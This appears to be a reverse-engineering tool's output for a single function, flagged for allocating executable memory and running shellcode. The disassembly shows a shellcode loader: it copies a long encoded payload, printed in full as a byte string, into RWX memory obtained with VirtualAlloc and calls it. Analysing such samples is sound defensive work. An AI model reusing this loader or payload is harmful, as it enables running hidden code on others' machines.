Function at 0x4014f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x5f84
call fcn.00402520
sub esp, eax
call dbg.__main
lea eax, [ebp - 0x5f6d]
mov edx, str.xbdx7cx01x6dx04xd9xcaxd9x74x24xf4x5bx31xc9x66xb9xefx05x31x6bx17x83xc3x04x03x6bx13xe2x89xdcxadxbex53xfcx9dx9ax4ax76xfax10x32x46xcbxbfx73x40xcexbcx6dx6dxe0x94x66x8dx55x0ex48x47x32xdcx95x05x6dx07x43x11x19xd7xf7x1fxbdx1ex1dxaax03xddxf2x1cx18xa1xbdx3dx00xf2xe6xf9xd8xf1x28x88xbbx4ex3fx94x03xd0x99x73x41x45x7dx09x02xb1x02x7ax83xbdxd5x5fxcdx79x6bxb3x7excex8bx62xafx40x91x12x7dxcex83x83x85x54x6ax9dxbfx56x13x33x01x43x16xe8xb3xccx50x41x8fxc2x91xfbx1cx9ex53x2exc1xf8x0bx51x47x7exb7x85xc3xe4x1bx77x4dx95x7fx48xf1x38x83xbbxfcxe8x65x1axedxf0x5cx81xe6x82x61xd3xf1x38x46x09xc1x93x4dxc9x30x51xaax80xd5x2dxf6x05x53xc6x55xdex3bx5ex4dx73xe6xccx22xbcx3bx66xd5xf2x89x41x75x47xa3x19xcfx7bxa7xe1x80x43x4fx7bx66xa4x5bx43xf5xbdx48x94x12xd3xafx24x5cx82x59x9exd8x09xc4x09x50x87x7dx27x79x19x6dxa4xc9x6bx48x99x3bxbex4ax1exf0xccxf3x24x6cx6bx47xe0x02x88xe8x1ex1bxb9x6exf6xcbxaex3fx90xdfx29xacx28x8exb8xecx93xb9x5cxe5x75x44x4axc3x3ex24xd6x2dx11x3exb7x80x43x9cx1axd2xc7xcbx99x60x41x13xd7x41x7bx2bx80x7ex7cx89x6ex7cx2ex9bxe9x7exfax55xcfxf6x60xebxd7x1bx94x78x9ax25xe9xc5x71xd5xefxdex5ex36x6ax52x1fx39xdfx3fx24xb7x4ex22xe9xdbx1bx8cx5dx38x69x31xdfx94xcax2fxe2x4ax7cx25x96xc9x2bxbcx19x7dxe5x7ax03x63x32x12x20xa0xbdx6bx1bxcexa0xb5x4ax88xe5xc7x05xdcx7bx6bx55xc0x22xbbx42x96x62x38xa0x58xbfx13x83x4cx1cx3bx06x18xdaxe5x30xeex9bx28xb8xe6x53x1fx1axfex4axdcx8cx89x46x32x07x11xf6x7bxe3x62x74xd9x30x67x8dxd8x51x27xfdx7dxdbxb4xf7xbex4ex71x34x63x87x50xcax6fxbax5bx75xb3x4dx83x07x2bxefx7ax20xb2xc9x4fx0cxf9x32xa7xa5xb4xa7xf2xd7xadx41x07x07xa4xbexc3x41x18x9bx8ax13x91xf2x58x60xadx0exf6x19xe2xfax38xb2x59x07xdfxd5x12x09xaax0fxbax77x9cx3dxccx5ex07x59x3dxc1x4dxe7x74x4cx54x60x26x1bx93x8fxf0x42x01xf8xf6xdfx42xb0xb4x33x30x34x13x68x5dx2ax4bx30x8fx7cx00x54xcbxb7xb5x60x61x41xefx5bx99x3cxc9x99xcdx58x0dx0dx35x48xb2x8exb9x46xc9x91xaax65x7exbcx86x74x35xa1x16x19x1exd4xf6xf6x00xe4xa3xd3x1dx43xe8xe1xf9x9axf4x2ax6exd7x0ex71xbfxc3xb4x65xc5xa1xddxbaxdcx02xb5x2dx60x21x2axddx85x34xeex2fx85xb5x81x0bxb1xb1x03x0cx69xf0x91x20x8bxbfxb8xf2xefx4dx0dx85xc9xeex11x78x05x5ax41x73x0cx31x4cx69x51xa5x34x9ax32x1fxa5xaax68x1cx97x4ex51x78x57x2dxf8x2ex44x23xbexdex03x2ex8fxcbx0bxbcx51x3cx43x16x66x47xb1xc4xfdxf6x7axd7xb6x83xdcxfexd1xf0xd4x3cxc5xebxa0xd0x7bx38xd4x5bxa9x9dx80x84x4exbax01x15xc0x12xaax86x3dx96x06x34x92x73x63x14x82x81x93xd1x57xc0x87xb4xefx64x57x1dxc8xe2xedxf2xf4x5bx7bxa5xacx52xfaxcfxf6xcex8dx0ax16x48x37x7cx04xb2xb8x76x92x1dx60x8cx4bx65xc9x04x3bx20x2cx66xd8xccx9ex27x20x16x63xf0xf1x66xcbxe6x78xb1x6axc7xb3x82x6ex91x04x2cx95_
mov ecx, 0x5f61
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x5f61
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov edx, eax
lea eax, [ebp - 0x5f6d]
mov ecx, 0x5f61
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret